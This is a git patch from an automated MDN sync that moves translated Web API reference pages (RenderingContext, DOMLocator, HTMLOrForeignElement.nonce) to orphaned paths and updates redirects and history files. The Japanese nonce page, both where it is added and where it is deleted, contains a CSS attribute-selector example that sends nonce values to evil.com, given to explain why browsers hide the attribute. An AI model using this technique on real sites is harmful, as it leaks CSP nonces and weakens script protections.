From 751e4b6115b0d8f30a147dcba95a3e21445ba4de Mon Sep 17 00:00:00 2001 From: MDN Date: Wed, 7 Jul 2021 00:36:00 +0000 Subject: [CRON] sync translated content --- files/de/_redirects.txt | 1 + files/de/_wikihistory.json | 12 ++--- .../orphaned/web/api/renderingcontext/index.html | 42 +++++++++++++++ files/de/web/api/renderingcontext/index.html | 41 -------------- files/fr/_redirects.txt | 1 + files/fr/_wikihistory.json | 12 ++--- files/fr/orphaned/web/api/domlocator/index.html | 54 +++++++++++++++++++ files/fr/web/api/domlocator/index.html | 53 ------------------ files/ja/_redirects.txt | 4 +- files/ja/_wikihistory.json | 26 ++++----- files/ja/orphaned/web/api/domlocator/index.html | 57 ++++++++++++++++++++ .../web/api/htmlorforeignelement/nonce/index.html | 63 ++++++++++++++++++++++ files/ja/web/api/domlocator/index.html | 56 ------------------- .../web/api/htmlorforeignelement/nonce/index.html | 62 --------------------- files/ru/_redirects.txt | 4 +- files/ru/_wikihistory.json | 24 ++++----- .../web/api/htmlorforeignelement/nonce/index.html | 43 +++++++++++++++ .../orphaned/web/api/renderingcontext/index.html | 41 ++++++++++++++ .../web/api/htmlorforeignelement/nonce/index.html | 43 --------------- files/ru/web/api/renderingcontext/index.html | 40 -------------- files/zh-cn/_redirects.txt | 5 +- files/zh-cn/_wikihistory.json | 38 ++++++------- files/zh-cn/orphaned/web/api/domlocator/index.html | 51 ++++++++++++++++++ .../web/api/htmlorforeignelement/nonce/index.html | 59 ++++++++++++++++++++ .../orphaned/web/api/renderingcontext/index.html | 30 +++++++++++ files/zh-cn/web/api/domlocator/index.html | 50 ----------------- .../web/api/htmlorforeignelement/nonce/index.html | 59 -------------------- files/zh-cn/web/api/renderingcontext/index.html | 29 ---------- 28 files changed, 508 insertions(+), 492 deletions(-) create mode 100644 files/de/orphaned/web/api/renderingcontext/index.html delete mode 100644 files/de/web/api/renderingcontext/index.html create mode 100644 files/fr/orphaned/web/api/domlocator/index.html delete mode 100644 files/fr/web/api/domlocator/index.html create mode 100644 files/ja/orphaned/web/api/domlocator/index.html create mode 100644 files/ja/orphaned/web/api/htmlorforeignelement/nonce/index.html delete mode 100644 files/ja/web/api/domlocator/index.html delete mode 100644 files/ja/web/api/htmlorforeignelement/nonce/index.html create mode 100644 files/ru/orphaned/web/api/htmlorforeignelement/nonce/index.html create mode 100644 files/ru/orphaned/web/api/renderingcontext/index.html delete mode 100644 files/ru/web/api/htmlorforeignelement/nonce/index.html delete mode 100644 files/ru/web/api/renderingcontext/index.html create mode 100644 files/zh-cn/orphaned/web/api/domlocator/index.html create mode 100644 files/zh-cn/orphaned/web/api/htmlorforeignelement/nonce/index.html create mode 100644 files/zh-cn/orphaned/web/api/renderingcontext/index.html delete mode 100644 files/zh-cn/web/api/domlocator/index.html delete mode 100644 files/zh-cn/web/api/htmlorforeignelement/nonce/index.html delete mode 100644 files/zh-cn/web/api/renderingcontext/index.html (limited to 'files') diff --git a/files/de/_redirects.txt b/files/de/_redirects.txt index d0d794c75e..2977d69b29 100644 --- a/files/de/_redirects.txt +++ b/files/de/_redirects.txt @@ -506,6 +506,7 @@ /de/docs/Web/API/Node.cloneNode /de/docs/Web/API/Node/cloneNode /de/docs/Web/API/Node/innerText /de/docs/Web/API/HTMLElement/innerText /de/docs/Web/API/Node/setUserData /de/docs/orphaned/Web/API/Node/setUserData +/de/docs/Web/API/RenderingContext /de/docs/orphaned/Web/API/RenderingContext /de/docs/Web/API/Vollbild_API /de/docs/Web/API/Fullscreen_API /de/docs/Web/API/WebGL_API/3D-Objekte_mit_WebGL_erstellen /de/docs/Web/API/WebGL_API/Tutorial/Creating_3D_objects_using_WebGL /de/docs/Web/API/WebGL_API/Animierte_Texturen_in_WebGL /de/docs/Web/API/WebGL_API/Tutorial/Animating_textures_in_WebGL diff --git a/files/de/_wikihistory.json b/files/de/_wikihistory.json index 52111561a4..a1f70ee2aa 100644 --- a/files/de/_wikihistory.json +++ b/files/de/_wikihistory.json @@ -3921,12 +3921,6 @@ "ksm2" ] }, - "Web/API/RenderingContext": { - "modified": "2020-11-02T01:51:10.279Z", - "contributors": [ - "sgadola" - ] - }, "Web/API/Response": { "modified": "2020-10-15T22:15:25.221Z", "contributors": [ @@ -14581,6 +14575,12 @@ "Nonononoki" ] }, + "orphaned/Web/API/RenderingContext": { + "modified": "2020-11-02T01:51:10.279Z", + "contributors": [ + "sgadola" + ] + }, "orphaned/Web/CSS/:-moz-ui-valid": { "modified": "2019-03-23T22:42:34.212Z", "contributors": [ diff --git a/files/de/orphaned/web/api/renderingcontext/index.html b/files/de/orphaned/web/api/renderingcontext/index.html new file mode 100644 index 0000000000..c16ed4fe44 --- /dev/null +++ b/files/de/orphaned/web/api/renderingcontext/index.html @@ -0,0 +1,42 @@ +--- +title: RenderingContext +slug: orphaned/Web/API/RenderingContext +translation_of: Web/API/RenderingContext +original_slug: Web/API/RenderingContext +--- +

{{APIRef("Canvas API")}}

+ +

RenderingContext ist eine WebIDL-typedef, die auf eine beliebige der Schnittstellen verweisen kann, die einen Grafik-Rendering-Kontext innerhalb eines {{HTMLElement("canvas")}} Elements darstellen: {{domxref("CanvasRenderingContext2D")}}, {{domxref("WebGLRenderingContext")}} oder {{domxref("WebGL2RenderingContext")}}.

+ +

Durch die Verwendung der Kurzform RenderingContext können Methoden und Eigenschaften, die eine beliebige dieser Schnittstellen verwenden können, einfacher spezifiziert und geschrieben werden; da <canvas> mehrere Rendering-Systeme unterstützt, ist es aus Sicht der Spezifikation und der Browser-Implementierung hilfreich, eine Kurzform zu verwenden, die "eine dieser Schnittstellen" bedeutet.

+ +

Als solches ist RenderingContext ein Implementierungsdetail und nicht etwas, das Webentwickler direkt verwenden. Es gibt keine RenderingContext-Schnittstelle, und es gibt keine Objekte, die den Typ RenderingContext implementieren.

+ +

Die primäre Verwendung dieses Typs ist die Definition der {{domxref("HTMLCanvasElement.getContext()")}} Methode des <canvas>-Elements, die einen RenderingContext (d.h. einen beliebigen der Rendering-Kontext Typen) zurückgibt.

+ +

Spezifikationen

+ + + + + + + + + + + + + + +
SpezifikationenStatusKommentar
{{SpecName('HTML WHATWG', "scripting.html#renderingcontext", "RenderingContext")}}{{Spec2('HTML WHATWG')}}Erstdefinition.
+ +

Siehe auch

+ + diff --git a/files/de/web/api/renderingcontext/index.html b/files/de/web/api/renderingcontext/index.html deleted file mode 100644 index d290eb830d..0000000000 --- a/files/de/web/api/renderingcontext/index.html +++ /dev/null @@ -1,41 +0,0 @@ ---- -title: RenderingContext -slug: Web/API/RenderingContext -translation_of: Web/API/RenderingContext ---- -

{{APIRef("Canvas API")}}

- -

RenderingContext ist eine WebIDL-typedef, die auf eine beliebige der Schnittstellen verweisen kann, die einen Grafik-Rendering-Kontext innerhalb eines {{HTMLElement("canvas")}} Elements darstellen: {{domxref("CanvasRenderingContext2D")}}, {{domxref("WebGLRenderingContext")}} oder {{domxref("WebGL2RenderingContext")}}.

- -

Durch die Verwendung der Kurzform RenderingContext können Methoden und Eigenschaften, die eine beliebige dieser Schnittstellen verwenden können, einfacher spezifiziert und geschrieben werden; da <canvas> mehrere Rendering-Systeme unterstützt, ist es aus Sicht der Spezifikation und der Browser-Implementierung hilfreich, eine Kurzform zu verwenden, die "eine dieser Schnittstellen" bedeutet.

- -

Als solches ist RenderingContext ein Implementierungsdetail und nicht etwas, das Webentwickler direkt verwenden. Es gibt keine RenderingContext-Schnittstelle, und es gibt keine Objekte, die den Typ RenderingContext implementieren.

- -

Die primäre Verwendung dieses Typs ist die Definition der {{domxref("HTMLCanvasElement.getContext()")}} Methode des <canvas>-Elements, die einen RenderingContext (d.h. einen beliebigen der Rendering-Kontext Typen) zurückgibt.

- -

Spezifikationen

- - - - - - - - - - - - - - -
SpezifikationenStatusKommentar
{{SpecName('HTML WHATWG', "scripting.html#renderingcontext", "RenderingContext")}}{{Spec2('HTML WHATWG')}}Erstdefinition.
- -

Siehe auch

- - diff --git a/files/fr/_redirects.txt b/files/fr/_redirects.txt index 041992aa6c..422cf1788e 100644 --- a/files/fr/_redirects.txt +++ b/files/fr/_redirects.txt @@ -3628,6 +3628,7 @@ /fr/docs/Web/API/Console.table /fr/docs/Web/API/Console/table /fr/docs/Web/API/Console/erreur /fr/docs/Web/API/Console/error /fr/docs/Web/API/Coordinates /fr/docs/Web/API/GeolocationCoordinates +/fr/docs/Web/API/DOMLocator /fr/docs/orphaned/Web/API/DOMLocator /fr/docs/Web/API/DOMTokenList/DOMTokenList.add() /fr/docs/Web/API/DOMTokenList/add /fr/docs/Web/API/DOMUserData /fr/docs/orphaned/Web/API/DOMUserData /fr/docs/Web/API/Detecting_device_orientation /fr/docs/orphaned/Web/API/Detecting_device_orientation diff --git a/files/fr/_wikihistory.json b/files/fr/_wikihistory.json index c5c70e56c6..d3e4e2756f 100644 --- a/files/fr/_wikihistory.json +++ b/files/fr/_wikihistory.json @@ -13466,12 +13466,6 @@ "loella16" ] }, - "Web/API/DOMLocator": { - "modified": "2019-03-18T21:41:56.748Z", - "contributors": [ - "loella16" - ] - }, "Web/API/DOMMatrix": { "modified": "2019-03-23T22:45:55.560Z", "contributors": [ @@ -44585,6 +44579,12 @@ "v-Stein" ] }, + "orphaned/Web/API/DOMLocator": { + "modified": "2019-03-18T21:41:56.748Z", + "contributors": [ + "loella16" + ] + }, "orphaned/Web/API/DOMUserData": { "modified": "2019-03-18T21:41:11.030Z", "contributors": [ diff --git a/files/fr/orphaned/web/api/domlocator/index.html b/files/fr/orphaned/web/api/domlocator/index.html new file mode 100644 index 0000000000..77b5ebb46d --- /dev/null +++ b/files/fr/orphaned/web/api/domlocator/index.html @@ -0,0 +1,54 @@ +--- +title: DOMLocator +slug: orphaned/Web/API/DOMLocator +tags: + - API + - DOM +translation_of: Web/API/DOMLocator +original_slug: Web/API/DOMLocator +--- +

{{APIRef("DOM")}}{{obsolete_header}}

+ +
+

NOTE : N'est pas implémenté dans Mozilla

+
+ +

Indique un emplacement, par exemple où une erreur s'est produite. Renvoyé par DOMError.location.

+ +

Propriétés

+ +
+
{{domxref("DOMLocator.lineNumber")}} {{ReadOnlyInline}}
+
Renvoie un entier positif ou -1.
+
{{domxref("DOMLocator.columnNumber")}}  {{ReadOnlyInline}}
+
Renvoie un entier positif ou -1.
+
{{domxref("DOMLocator.byteOffset")}} {{ReadOnlyInline}}
+
Renvoie un entier positif ou -1.
+
{{domxref("DOMLocator.utf16Offset")}} {{ReadOnlyInline}}
+
Renvoie un entier positif ou -1.
+
{{domxref("DOMLocator.relatedNode")}} {{ReadOnlyInline}}
+
Renvoie un entier positif ou -1.
+
{{domxref("DOMLocator.uri")}} {{ReadOnlyInline}}
+
Renvoie un entier positif ou -1.
+
+ +

Méthodes

+ +

Cette interface n'implémente ni n'hérite d'aucune méthode.

+ +

Spécifications

+ + + + + + + + + + + + + + +
SpécificationStatutCommentaire
{{SpecName("DOM3 Core", "core.html#Interfaces-DOMLocator", "DOMLocator")}}{{Spec2("DOM3 Core")}}Définition initiale.
diff --git a/files/fr/web/api/domlocator/index.html b/files/fr/web/api/domlocator/index.html deleted file mode 100644 index 0857edd58b..0000000000 --- a/files/fr/web/api/domlocator/index.html +++ /dev/null @@ -1,53 +0,0 @@ ---- -title: DOMLocator -slug: Web/API/DOMLocator -tags: - - API - - DOM -translation_of: Web/API/DOMLocator ---- -

{{APIRef("DOM")}}{{obsolete_header}}

- -
-

NOTE : N'est pas implémenté dans Mozilla

-
- -

Indique un emplacement, par exemple où une erreur s'est produite. Renvoyé par DOMError.location.

- -

Propriétés

- -
-
{{domxref("DOMLocator.lineNumber")}} {{ReadOnlyInline}}
-
Renvoie un entier positif ou -1.
-
{{domxref("DOMLocator.columnNumber")}}  {{ReadOnlyInline}}
-
Renvoie un entier positif ou -1.
-
{{domxref("DOMLocator.byteOffset")}} {{ReadOnlyInline}}
-
Renvoie un entier positif ou -1.
-
{{domxref("DOMLocator.utf16Offset")}} {{ReadOnlyInline}}
-
Renvoie un entier positif ou -1.
-
{{domxref("DOMLocator.relatedNode")}} {{ReadOnlyInline}}
-
Renvoie un entier positif ou -1.
-
{{domxref("DOMLocator.uri")}} {{ReadOnlyInline}}
-
Renvoie un entier positif ou -1.
-
- -

Méthodes

- -

Cette interface n'implémente ni n'hérite d'aucune méthode.

- -

Spécifications

- - - - - - - - - - - - - - -
SpécificationStatutCommentaire
{{SpecName("DOM3 Core", "core.html#Interfaces-DOMLocator", "DOMLocator")}}{{Spec2("DOM3 Core")}}Définition initiale.
diff --git a/files/ja/_redirects.txt b/files/ja/_redirects.txt index 0dce209c98..ed20668cc1 100644 --- a/files/ja/_redirects.txt +++ b/files/ja/_redirects.txt @@ -3742,6 +3742,7 @@ /ja/docs/Web/API/Console.error /ja/docs/Web/API/Console/error /ja/docs/Web/API/Coordinates /ja/docs/Web/API/GeolocationCoordinates /ja/docs/Web/API/DOMCursor.done /ja/docs/Web/API/DOMCursor/done +/ja/docs/Web/API/DOMLocator /ja/docs/orphaned/Web/API/DOMLocator /ja/docs/Web/API/DOMRequest.error /ja/docs/Web/API/DOMRequest/error /ja/docs/Web/API/DeviceAcceleration /ja/docs/Web/API/DeviceMotionEventAcceleration /ja/docs/Web/API/DeviceLightEvent /ja/docs/orphaned/Web/API/DeviceLightEvent @@ -3823,7 +3824,7 @@ /ja/docs/Web/API/HTMLElement/dataset /ja/docs/orphaned/Web/API/HTMLOrForeignElement/dataset /ja/docs/Web/API/HTMLElement/focus /ja/docs/Web/API/HTMLOrForeignElement/focus /ja/docs/Web/API/HTMLElement/forceSpellCheck /ja/docs/orphaned/Web/API/HTMLElement/forceSpellCheck -/ja/docs/Web/API/HTMLElement/nonce /ja/docs/Web/API/HTMLOrForeignElement/nonce +/ja/docs/Web/API/HTMLElement/nonce /ja/docs/orphaned/Web/API/HTMLOrForeignElement/nonce /ja/docs/Web/API/HTMLElement/style /ja/docs/orphaned/Web/API/ElementCSSInlineStyle/style /ja/docs/Web/API/HTMLElement/tabIndex /ja/docs/orphaned/Web/API/HTMLOrForeignElement/tabIndex /ja/docs/Web/API/HTMLFormElement.acceptCharset /ja/docs/Web/API/HTMLFormElement/acceptCharset @@ -3853,6 +3854,7 @@ /ja/docs/Web/API/HTMLIFrameElement.getVisible /ja/docs/Web/API/HTMLIFrameElement/getVisible /ja/docs/Web/API/HTMLIFrameElement.stop /ja/docs/Web/API/HTMLIFrameElement/stop /ja/docs/Web/API/HTMLOrForeignElement/dataset /ja/docs/orphaned/Web/API/HTMLOrForeignElement/dataset +/ja/docs/Web/API/HTMLOrForeignElement/nonce /ja/docs/orphaned/Web/API/HTMLOrForeignElement/nonce /ja/docs/Web/API/HTMLOrForeignElement/tabIndex /ja/docs/orphaned/Web/API/HTMLOrForeignElement/tabIndex /ja/docs/Web/API/HTMLTableElement.align /ja/docs/Web/API/HTMLTableElement/align /ja/docs/Web/API/HTMLTableElement.bgColor /ja/docs/Web/API/HTMLTableElement/bgColor diff --git a/files/ja/_wikihistory.json b/files/ja/_wikihistory.json index 5691642ed0..8e442ad50d 100644 --- a/files/ja/_wikihistory.json +++ b/files/ja/_wikihistory.json @@ -11890,12 +11890,6 @@ "Uemmra3" ] }, - "Web/API/DOMLocator": { - "modified": "2020-08-13T09:34:48.574Z", - "contributors": [ - "eltociear" - ] - }, "Web/API/DOMMatrix": { "modified": "2019-03-23T22:26:24.870Z", "contributors": [ @@ -17060,13 +17054,6 @@ "ethertank" ] }, - "Web/API/HTMLOrForeignElement/nonce": { - "modified": "2020-10-15T22:22:13.107Z", - "contributors": [ - "mfuji09", - "Wind1808" - ] - }, "Web/API/HTMLOutputElement": { "modified": "2020-10-15T21:18:44.480Z", "contributors": [ @@ -51647,6 +51634,12 @@ "Shirasu" ] }, + "orphaned/Web/API/DOMLocator": { + "modified": "2020-08-13T09:34:48.574Z", + "contributors": [ + "eltociear" + ] + }, "orphaned/Web/API/Detecting_device_orientation": { "modified": "2020-10-15T21:21:30.973Z", "contributors": [ @@ -51755,6 +51748,13 @@ "Kenju" ] }, + "orphaned/Web/API/HTMLOrForeignElement/nonce": { + "modified": "2020-10-15T22:22:13.107Z", + "contributors": [ + "mfuji09", + "Wind1808" + ] + }, "orphaned/Web/API/HTMLOrForeignElement/tabIndex": { "modified": "2020-10-15T21:09:43.599Z", "contributors": [ diff --git a/files/ja/orphaned/web/api/domlocator/index.html b/files/ja/orphaned/web/api/domlocator/index.html new file mode 100644 index 0000000000..a43fbf8320 --- /dev/null +++ b/files/ja/orphaned/web/api/domlocator/index.html @@ -0,0 +1,57 @@ +--- +title: DOMLocator +slug: orphaned/Web/API/DOMLocator +tags: + - API + - DOM + - DOM Reference + - Obsolete + - Reference +translation_of: Web/API/DOMLocator +original_slug: Web/API/DOMLocator +--- +

{{APIRef("DOM")}}{{obsolete_header}}

+ +
+

NOTE: これは Mozilla には実装されていません

+
+ +

エラーが発生した場所などを示します。 DOMError.location によって返されます。

+ +

プロパティ

+ +
+
{{domxref("DOMLocator.lineNumber")}} {{ReadOnlyInline}}
+
正の整数または-1を返します。
+
{{domxref("DOMLocator.columnNumber")}} {{ReadOnlyInline}}
+
正の整数または-1を返します。
+
{{domxref("DOMLocator.byteOffset")}} {{ReadOnlyInline}}
+
正の整数または-1を返します。
+
{{domxref("DOMLocator.utf16Offset")}} {{ReadOnlyInline}}
+
正の整数または-1を返します。
+
{{domxref("DOMLocator.relatedNode")}} {{ReadOnlyInline}}
+
正の整数または-1を返します。
+
{{domxref("DOMLocator.uri")}} {{ReadOnlyInline}}
+
正の整数または-1を返します。
+
+ +

メソッド

+ +

このインターフェイスは、メソッドを実装も継承もしません。

+ +

仕様

+ + + + + + + + + + + + + + +
仕様ステータス備考
{{SpecName("DOM3 Core", "core.html#Interfaces-DOMLocator", "DOMLocator")}}{{Spec2("DOM3 Core")}}初回定義
diff --git a/files/ja/orphaned/web/api/htmlorforeignelement/nonce/index.html b/files/ja/orphaned/web/api/htmlorforeignelement/nonce/index.html new file mode 100644 index 0000000000..ab1e19b3a6 --- /dev/null +++ b/files/ja/orphaned/web/api/htmlorforeignelement/nonce/index.html @@ -0,0 +1,63 @@ +--- +title: HTMLOrForeignElement.nonce +slug: orphaned/Web/API/HTMLOrForeignElement/nonce +tags: + - API + - Content Security Policy + - Experimental + - HTML DOM + - HTMLElement + - Property + - Reference + - nonce +translation_of: Web/API/HTMLOrForeignElement/nonce +original_slug: Web/API/HTMLOrForeignElement/nonce +--- +
{{APIRef("HTML DOM")}}
+ +

nonce は {{DOMxRef("HTMLOrForeignElement")}} ミックスインのプロパティで、特定のフェッチを続行できるかどうかを決定するためにコンテンツセキュリティポリシー (Content Security Policy) で使用される一度だけの暗号化番号を返します。

+ +

後の実装では、 nonce 属性を持つ要素はスクリプトにのみ公開します (CSS 属性セレクターのようなサイドチャネルには公開しません)。

+ +

+ +

ノンス値の受け取り

+ +

以前は、すべてのブラウザーが IDL 属性の nonce に対応しているわけではなかったので、回避策としては、代替として getAttribute を使用するようにしていました。

+ +
let nonce = script['nonce'] || script.getAttribute('nonce');
+ +

しかし、最近のバージョンのブラウザーでは、この方法でアクセスすると nonce の値を隠します (空の文字列が返されます)。 IDL プロパティ (script['nonce']) がノンスにアクセスする唯一の方法となります。

+ +

ノンスを隠蔽することは、攻撃者が以下のようなコンテンツ属性からデータを取得できるメカニズムを介してノンスデータを流出させることを防ぐのに役立ちます。

+ +
script[nonce~=whatever] {
+  background: url("https://evil.com/nonce?whatever");
+}
+ +

仕様書

+ + + + + + + + + + + + +
仕様書
{{SpecName('HTML WHATWG','#attr-nonce','nonce')}}
+ +

ブラウザーの互換性

+ +

{{Compat("api.HTMLElement.nonce")}}

+ +

関連情報

+ + diff --git a/files/ja/web/api/domlocator/index.html b/files/ja/web/api/domlocator/index.html deleted file mode 100644 index 1cc40f4afe..0000000000 --- a/files/ja/web/api/domlocator/index.html +++ /dev/null @@ -1,56 +0,0 @@ ---- -title: DOMLocator -slug: Web/API/DOMLocator -tags: - - API - - DOM - - DOM Reference - - Obsolete - - Reference -translation_of: Web/API/DOMLocator ---- -

{{APIRef("DOM")}}{{obsolete_header}}

- -
-

NOTE: これは Mozilla には実装されていません

-
- -

エラーが発生した場所などを示します。 DOMError.location によって返されます。

- -

プロパティ

- -
-
{{domxref("DOMLocator.lineNumber")}} {{ReadOnlyInline}}
-
正の整数または-1を返します。
-
{{domxref("DOMLocator.columnNumber")}} {{ReadOnlyInline}}
-
正の整数または-1を返します。
-
{{domxref("DOMLocator.byteOffset")}} {{ReadOnlyInline}}
-
正の整数または-1を返します。
-
{{domxref("DOMLocator.utf16Offset")}} {{ReadOnlyInline}}
-
正の整数または-1を返します。
-
{{domxref("DOMLocator.relatedNode")}} {{ReadOnlyInline}}
-
正の整数または-1を返します。
-
{{domxref("DOMLocator.uri")}} {{ReadOnlyInline}}
-
正の整数または-1を返します。
-
- -

メソッド

- -

このインターフェイスは、メソッドを実装も継承もしません。

- -

仕様

- - - - - - - - - - - - - - -
仕様ステータス備考
{{SpecName("DOM3 Core", "core.html#Interfaces-DOMLocator", "DOMLocator")}}{{Spec2("DOM3 Core")}}初回定義
diff --git a/files/ja/web/api/htmlorforeignelement/nonce/index.html b/files/ja/web/api/htmlorforeignelement/nonce/index.html deleted file mode 100644 index cd64acbbb5..0000000000 --- a/files/ja/web/api/htmlorforeignelement/nonce/index.html +++ /dev/null @@ -1,62 +0,0 @@ ---- -title: HTMLOrForeignElement.nonce -slug: Web/API/HTMLOrForeignElement/nonce -tags: - - API - - Content Security Policy - - Experimental - - HTML DOM - - HTMLElement - - Property - - Reference - - nonce -translation_of: Web/API/HTMLOrForeignElement/nonce ---- -
{{APIRef("HTML DOM")}}
- -

nonce は {{DOMxRef("HTMLOrForeignElement")}} ミックスインのプロパティで、特定のフェッチを続行できるかどうかを決定するためにコンテンツセキュリティポリシー (Content Security Policy) で使用される一度だけの暗号化番号を返します。

- -

後の実装では、 nonce 属性を持つ要素はスクリプトにのみ公開します (CSS 属性セレクターのようなサイドチャネルには公開しません)。

- -

- -

ノンス値の受け取り

- -

以前は、すべてのブラウザーが IDL 属性の nonce に対応しているわけではなかったので、回避策としては、代替として getAttribute を使用するようにしていました。

- -
let nonce = script['nonce'] || script.getAttribute('nonce');
- -

しかし、最近のバージョンのブラウザーでは、この方法でアクセスすると nonce の値を隠します (空の文字列が返されます)。 IDL プロパティ (script['nonce']) がノンスにアクセスする唯一の方法となります。

- -

ノンスを隠蔽することは、攻撃者が以下のようなコンテンツ属性からデータを取得できるメカニズムを介してノンスデータを流出させることを防ぐのに役立ちます。

- -
script[nonce~=whatever] {
-  background: url("https://evil.com/nonce?whatever");
-}
- -

仕様書

- - - - - - - - - - - - -
仕様書
{{SpecName('HTML WHATWG','#attr-nonce','nonce')}}
- -

ブラウザーの互換性

- -

{{Compat("api.HTMLElement.nonce")}}

- -

関連情報

- - diff --git a/files/ru/_redirects.txt b/files/ru/_redirects.txt index eb6f090bd0..f4bfae44d5 100644 --- a/files/ru/_redirects.txt +++ b/files/ru/_redirects.txt @@ -412,7 +412,7 @@ /ru/docs/Web/API/HTMLAudioElement/Audio() /ru/docs/Web/API/HTMLAudioElement/Audio /ru/docs/Web/API/HTMLElement/dataset /ru/docs/orphaned/Web/API/HTMLOrForeignElement/dataset /ru/docs/Web/API/HTMLElement/invalid /ru/docs/Web/API/HTMLInputElement/invalid_event -/ru/docs/Web/API/HTMLElement/nonce /ru/docs/Web/API/HTMLOrForeignElement/nonce +/ru/docs/Web/API/HTMLElement/nonce /ru/docs/orphaned/Web/API/HTMLOrForeignElement/nonce /ru/docs/Web/API/HTMLElement/style /ru/docs/orphaned/Web/API/ElementCSSInlineStyle/style /ru/docs/Web/API/HTMLElement/tabIndex /ru/docs/orphaned/Web/API/HTMLOrForeignElement/tabIndex /ru/docs/Web/API/HTMLHyperlinkElementUtils /ru/docs/orphaned/Web/API/HTMLHyperlinkElementUtils @@ -430,6 +430,7 @@ /ru/docs/Web/API/HTMLHyperlinkElementUtils/username /ru/docs/Web/API/HTMLAnchorElement/username /ru/docs/Web/API/HTMLImageElement.Image /ru/docs/Web/API/HTMLImageElement/Image /ru/docs/Web/API/HTMLOrForeignElement/dataset /ru/docs/orphaned/Web/API/HTMLOrForeignElement/dataset +/ru/docs/Web/API/HTMLOrForeignElement/nonce /ru/docs/orphaned/Web/API/HTMLOrForeignElement/nonce /ru/docs/Web/API/HTMLOrForeignElement/tabIndex /ru/docs/orphaned/Web/API/HTMLOrForeignElement/tabIndex /ru/docs/Web/API/IndexedDB_API/Basic_Concepts_Behind_IndexedDB /ru/docs/orphaned/Web/API/IndexedDB_API/Basic_Concepts_Behind_IndexedDB /ru/docs/Web/API/LocalMediaStream /ru/docs/orphaned/Web/API/LocalMediaStream @@ -466,6 +467,7 @@ /ru/docs/Web/API/RTCPeerConnection/getDefaultIceServers /ru/docs/orphaned/Web/API/RTCPeerConnection/getDefaultIceServers /ru/docs/Web/API/RandomSource /ru/docs/conflicting/Web/API/Crypto/getRandomValues /ru/docs/Web/API/RandomSource/getRandomValues /ru/docs/Web/API/Crypto/getRandomValues +/ru/docs/Web/API/RenderingContext /ru/docs/orphaned/Web/API/RenderingContext /ru/docs/Web/API/SVGAElement/SVGAlement.target /ru/docs/conflicting/Web/API/SVGAElement/target /ru/docs/Web/API/ServiceWorkerState /ru/docs/orphaned/Web/API/ServiceWorkerState /ru/docs/Web/API/Slotable /ru/docs/conflicting/Web/API/Element diff --git a/files/ru/_wikihistory.json b/files/ru/_wikihistory.json index cb43a354be..ebd9832fe2 100644 --- a/files/ru/_wikihistory.json +++ b/files/ru/_wikihistory.json @@ -9023,12 +9023,6 @@ "alexs_havelev" ] }, - "Web/API/HTMLOrForeignElement/nonce": { - "modified": "2020-10-15T22:22:30.878Z", - "contributors": [ - "ellizii" - ] - }, "Web/API/HTMLScriptElement": { "modified": "2020-10-15T22:20:14.865Z", "contributors": [ @@ -10269,12 +10263,6 @@ "Xnoyer" ] }, - "Web/API/RenderingContext": { - "modified": "2020-01-03T11:02:10.593Z", - "contributors": [ - "5GameMaker" - ] - }, "Web/API/Request": { "modified": "2020-10-15T22:22:45.973Z", "contributors": [ @@ -25310,6 +25298,12 @@ "FlowerDeLuce" ] }, + "orphaned/Web/API/HTMLOrForeignElement/nonce": { + "modified": "2020-10-15T22:22:30.878Z", + "contributors": [ + "ellizii" + ] + }, "orphaned/Web/API/HTMLOrForeignElement/tabIndex": { "modified": "2019-03-18T21:11:41.012Z", "contributors": [ @@ -25400,6 +25394,12 @@ "mechtool" ] }, + "orphaned/Web/API/RenderingContext": { + "modified": "2020-01-03T11:02:10.593Z", + "contributors": [ + "5GameMaker" + ] + }, "orphaned/Web/API/ServiceWorkerState": { "modified": "2019-12-29T10:30:40.493Z", "contributors": [ diff --git a/files/ru/orphaned/web/api/htmlorforeignelement/nonce/index.html b/files/ru/orphaned/web/api/htmlorforeignelement/nonce/index.html new file mode 100644 index 0000000000..e3350c6072 --- /dev/null +++ b/files/ru/orphaned/web/api/htmlorforeignelement/nonce/index.html @@ -0,0 +1,43 @@ +--- +title: HTMLElement.nonce +slug: orphaned/Web/API/HTMLOrForeignElement/nonce +translation_of: Web/API/HTMLOrForeignElement/nonce +original_slug: Web/API/HTMLOrForeignElement/nonce +--- +

{{SeeCompatTable}}{{APIRef("HTML DOM")}}

+ +

Свойство nonce интерфейса {{domxref("HTMLElement")}} возвращает криптографический номер, который используется политикой безопасности содержимого для определения того, будет ли разрешена дальнейшая работа с данной выборкой.

+ +

В более поздних реализациях элементы, имеющие атрибут nonce, предоставляют его только скриптам (а не сторонним каналам, таким как селекторы атрибутов CSS).

+ +

Syntax

+ +
var nonce = HTMLElement.nonce
+HTMLElement.nonce = nonce
+ +

Value

+ +

Криптографический код.

+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG','#attr-nonce','nonce')}}{{Spec2('HTML WHATWG')}}Первоначальное определение.
+ +

Browser Compatibility

+ +
+

{{Compat("api.HTMLElement.nonce")}}

+
diff --git a/files/ru/orphaned/web/api/renderingcontext/index.html b/files/ru/orphaned/web/api/renderingcontext/index.html new file mode 100644 index 0000000000..5c05883e6b --- /dev/null +++ b/files/ru/orphaned/web/api/renderingcontext/index.html @@ -0,0 +1,41 @@ +--- +title: RenderingContext +slug: orphaned/Web/API/RenderingContext +translation_of: Web/API/RenderingContext +original_slug: Web/API/RenderingContext +--- +

{{APIRef("Canvas API")}}

+ +

RenderingContext - это WebIDL typedef который ссылается на один из интерфейсов, представляющие собой графический контекст внутри элемента <canvas>: {{domxref("CanvasRenderingContext2D")}}, {{domxref("WebGLRenderingContext")}}, а так же {{domxref("WebGL2RenderingContext")}}

+ +

Используя RenderingContext, методы и поля которого могут использоваться любыми из этих интерфейсов могут быть перезаписаны в более простой форме; с тех пор, как <canvas> поддерживает несколько систем прорисовки контекста, это полезная форма спецификации, в буквальном смысле обозначающая "один из интерфейсов"

+ +

В любом случае, RenderingContext - просто общее название и оно не является тем, что в основном используют веб-разработчики. Не существует интерфейса RenderingContext как такого и нет классов, наследуемых от него.

+ +

Для получения RenderingContext из веб-элемента <canvas> используется метод {{domxref("HTMLCanvasElement.getContext()")}}, возвращающий "один из интерфейсов"

+ +

Спецификации

+ + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('HTML WHATWG', "scripting.html#renderingcontext", "RenderingContext")}}{{Spec2('HTML WHATWG')}}Внутреннее объявление.
+ +

Связанное с этим

